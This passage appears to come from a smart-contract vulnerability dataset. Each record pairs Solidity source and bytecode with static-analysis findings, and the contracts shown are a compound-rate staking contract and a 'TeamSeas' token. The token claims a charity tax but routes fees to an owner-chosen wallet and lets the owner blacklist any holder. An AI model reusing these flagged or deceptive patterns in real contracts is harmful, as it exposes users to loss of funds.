50610b0a82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a2600190505b5b5b92915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5057600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a1600190505b5b90565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d5c5780601f10610d3157610100808354040283529160200191610d5c565b820191906000526020600020905b815481529060010190602001808311610d3f57829003601f168201915b505050505081565b60406004810160003690501015610d7a57600080fd5b610dcc82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e6182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b5b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561106c5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b6000808284019050611085848210156110aa565b8091505b5092915050565b600061109e838311156110aa565b81830390505b92915050565b8015156110b657600080fd5b5b505600a165627a7a723058204fba1b0f8be21b6b4d3db35eb43a6d640cc6b1aa3c5d871b37c25105f185b6580029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
2,785
0x7363ce3f1c9dede48f169962851292e8f790974e
/** *Submitted for verification at Etherscan.io on 2021-06-11 */ pragma solidity ^0.7.0; library DSMath { /// @dev github.com/makerdao/dss implementation /// of exponentiation by squaring //  nth power of x mod b function rpow(uint x, uint n, uint b) internal pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := b} default {z := 0}} default { switch mod(n, 2) case 0 { z := b } default { z := x } let half := div(b, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, b) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, b) } } } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract CompoundRateKeeper is Ownable { using SafeMath for uint256; struct CompoundRate { uint256 rate; uint256 lastUpdate; } CompoundRate public compoundRate; constructor () { compoundRate.rate = 1 * 10 ** 27; compoundRate.lastUpdate = block.timestamp; } function getCurrentRate() view external returns(uint256) { return compoundRate.rate; } function getLastUpdate() view external returns(uint256) { return compoundRate.lastUpdate; } function update(uint256 _interestRate) external onlyOwner returns(uint256) { uint256 _decimal = 10 ** 27; uint256 _period = (block.timestamp).sub(compoundRate.lastUpdate); uint256 _newRate = compoundRate.rate .mul(DSMath.rpow(_interestRate.add(_decimal), _period, _decimal)).div(_decimal); compoundRate.rate = _newRate; compoundRate.lastUpdate = block.timestamp; return _newRate; } } interface IEpanStaking { /** * @notice Update compound rate */ function updateCompoundRate() external; /** * @notice Update compound rate timeframe */ function updateCompoundRateTimeframe() external; /** * @notice Update both compound rates */ function updateCompoundRates() external; /** * @notice Update compound rate and stake tokens to user balance * @param _amount Amount to stake * @param _isTimeframe If true, stake to timeframe structure */ function updateCompoundAndStake(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Update compound rate and withdraw tokens from contract * @param _amount Amount to stake * @param _isTimeframe If true, withdraw from timeframe structure */ function updateCompoundAndWithdraw(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Stake tokens to user balance * @param _amount Amount to stake * @param _isTimeframe If true, stake to timeframe structure */ function stake(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Withdraw tokens from user balance. Only for timeframe stake * @param _amount Amount to withdraw * @param _isTimeframe If true, withdraws from timeframe structure */ function withdraw(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Returns the staking balance of the user * @param _isTimeframe If true, return balance from timeframe structure */ function getBalance(bool _isTimeframe) external view returns (uint256); /** * @notice Set interest rate */ function setInterestRate(uint256 _newInterestRate) external; /** * @notice Set interest rate timeframe * @param _newInterestRate New interest rate */ function setInterestRateTimeframe(uint256 _newInterestRate) external; /** * @notice Set interest rates * @param _newInterestRateTimeframe New interest rate timeframe */ function setInterestRates(uint256 _newInterestRate, uint256 _newInterestRateTimeframe) external; /** * @notice Add tokens to contract address to be spent as rewards * @param _amount Token amount that will be added to contract as reward */ function supplyRewardPool(uint256 _amount) external returns (bool); /** * @notice Get reward amount for sender address * @param _isTimeframe If timeframe, calculate reward for user from timeframe structure */ function getRewardAmount(bool _isTimeframe) external view returns (uint256); /** * @notice Get coefficient. Tokens on the contract / reward to be paid */ function monitorSecurityMargin() external view returns (uint256); }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806382ab890a1161005b57806382ab890a146100cf5780638da5cb5b14610111578063f2fde38b14610145578063f7fb07b0146101895761007d565b80634c89867f1461008257806366425d36146100a0578063715018a6146100c5575b600080fd5b61008a6101a7565b6040518082815260200191505060405180910390f35b6100a86101b3565b604051808381526020018281526020019250505060405180910390f35b6100cd6101c5565b005b6100fb600480360360208110156100e557600080fd5b810190808035906020019092919050505061034b565b6040518082815260200191505060405180910390f35b6101196104a9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101876004803603602081101561015b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104d2565b005b6101916106dd565b6040518082815260200191505060405180910390f35b60006001800154905090565b60018060000154908060010154905082565b6101cd6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461028d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006103556106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006b033b2e3c9fd0803ce80000009050600061043f6001800154426106f290919063ffffffff16565b905060006104898361047b610467610460878a61073c90919063ffffffff16565b86886107c4565b60016000015461088a90919063ffffffff16565b61091090919063ffffffff16565b905080600160000181905550426001800181905550809350505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6104da6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610620576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610ae16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160000154905090565b600033905090565b600061073483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061095a565b905092915050565b6000808284019050838110156107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000836000811461086a5760028406600081146107e3578592506107e7565b8392505b50600283046002850494505b841561086457858602868782041461080a57600080fd5b8181018181101561081a57600080fd5b8581049750600287061561085757878502858982041415891515161561083f57600080fd5b8381018181101561084f57600080fd5b878104965050505b50506002850494506107f3565b50610882565b836000811461087c5760009250610880565b8392505b505b509392505050565b60008083141561089d576000905061090a565b60008284029050828482816108ae57fe5b0414610905576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610b076021913960400191505060405180910390fd5b809150505b92915050565b600061095283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a1a565b905092915050565b6000838311158290610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109cc5780820151818401526020810190506109b1565b50505050905090810190601f1680156109f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290610ac6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a8b578082015181840152602081019050610a70565b50505050905090810190601f168015610ab85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ad257fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122009df7dda844e4d492b14ec04eca8fc79218d9cebd5397aa01099d6ea4a6edd1764736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,786
0xd97f0d52583a0b5fa828fbdff9860d86ede5be7c
//Helping Mr.Beast and other youtube creators to clean up the ocean // 10% tax on each trnx will go for donation to teamseas.org //Join the nobel cause on telegram @teamseas_token // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract teamseas is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redis = 1; uint256 private _tax = 10; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "TeamSeas.org"; string private constant _symbol = "TeamSeas"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable _add1) { _feeAddrWallet1 = _add1; _rOwned[owner()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0),owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = _redis; _feeAddr2 = _tax; uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(contractTokenBalance > 0){ swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } if( from == owner()){ _feeAddr2 = 0; _feeAddr1 = 0; } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function blacklistBot(address _address) external onlyOwner(){ bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102bc578063a9059cbb146102ed578063c3c8cd801461030d578063c9567bf914610322578063dd62ed3e1461033757600080fd5b80636fc3eaec1461024a57806370a082311461025f578063715018a61461027f5780638da5cb5b1461029457600080fd5b806323b872dd116100d157806323b872dd146101ce578063313ce567146101ee578063537df3b61461020a5780635932ead11461022a57600080fd5b806306fdde031461010e57806308aad1f114610155578063095ea7b31461017757806318160ddd146101a757600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600c81526b5465616d536561732e6f726760a01b60208201525b60405161014c919061145f565b60405180910390f35b34801561016157600080fd5b50610175610170366004611317565b61037d565b005b34801561018357600080fd5b506101976101923660046113cb565b6103d4565b604051901515815260200161014c565b3480156101b357600080fd5b5069d3c21bcecceda10000005b60405190815260200161014c565b3480156101da57600080fd5b506101976101e936600461138a565b6103eb565b3480156101fa57600080fd5b506040516009815260200161014c565b34801561021657600080fd5b50610175610225366004611317565b610454565b34801561023657600080fd5b506101756102453660046113f7565b61049f565b34801561025657600080fd5b506101756104e7565b34801561026b57600080fd5b506101c061027a366004611317565b610514565b34801561028b57600080fd5b50610175610536565b3480156102a057600080fd5b506000546040516001600160a01b03909116815260200161014c565b3480156102c857600080fd5b506040805180820190915260088152675465616d5365617360c01b602082015261013f565b3480156102f957600080fd5b506101976103083660046113cb565b6105aa565b34801561031957600080fd5b506101756105b7565b34801561032e57600080fd5b506101756105ed565b34801561034357600080fd5b506101c0610352366004611351565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103b05760405162461bcd60e51b81526004016103a7906114b4565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103e13384846109b7565b5060015b92915050565b60006103f8848484610adb565b61044a84336104458560405180606001604052806028815260200161161a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c2d565b6109b7565b5060019392505050565b6000546001600160a01b0316331461047e5760405162461bcd60e51b81526004016103a7906114b4565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016103a7906114b4565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461050757600080fd5b4761051181610c67565b50565b6001600160a01b0381166000908152600260205260408120546103e590610ca1565b6000546001600160a01b031633146105605760405162461bcd60e51b81526004016103a7906114b4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103e1338484610adb565b600e546001600160a01b0316336001600160a01b0316146105d757600080fd5b60006105e230610514565b905061051181610d25565b6000546001600160a01b031633146106175760405162461bcd60e51b81526004016103a7906114b4565b601054600160a01b900460ff16156106715760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a7565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106af308269d3c21bcecceda10000006109b7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e857600080fd5b505afa1580156106fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107209190611334565b6001600160a01b031663c9c6539630836001600160